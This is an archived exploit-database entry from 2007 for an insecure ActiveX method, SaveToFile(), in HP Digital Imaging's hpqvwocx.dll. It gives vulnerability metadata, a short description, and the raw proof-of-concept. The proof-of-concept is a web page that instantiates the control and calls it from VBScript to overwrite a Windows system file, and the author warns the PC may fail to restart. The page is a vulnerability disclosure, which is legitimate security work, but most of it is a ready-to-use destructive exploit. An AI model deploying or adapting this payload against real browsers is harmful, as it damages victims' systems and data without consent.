HP Digital Imaging (hpqvwocx.dll v. 2.1.0.556) "SaveToFile()" Insecure Method

vendor:

HP Digital Imaging

by:

shinnai

7.5

CVSS

HIGH

Insecure Method

CWE

Product Name: HP Digital Imaging

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2

2007

HP Digital Imaging (hpqvwocx.dll v. 2.1.0.556) “SaveToFile()” Insecure Method

This exploit overwrites the system.ini file, potentially causing the PC to not restart. It is a control marked as not safe for script or initialization, but implements object and data safety. It has been tested on Windows XP Professional SP2 with Internet Explorer 7.

Mitigation:

Make a backup of the system.ini file before running this exploit. Update to a patched version of the software.

Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------
 <b>HP Digital Imaging (hpqvwocx.dll v. 2.1.0.556) "SaveToFile()" Insecure Method</b>
 url: http://www.hp.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 This control is marked as:
 <b>RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data  
 IPersist Safe: Safe for untrusted: caller, data</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 The browser seems to freeze for a few seconds, anyway if you try to close it
 before the exploit is ended, it will resutl in a DoS and the file will be
 overwritten though.
-------------------------------------------------------------------------------
<object classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D' id='test'></object>

<script language='vbscript'>
    test.SaveToFile 1, "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"HP Digital Imaging")
</script>
</span>
</code></pre>

# milw0rm.com [2007-07-06]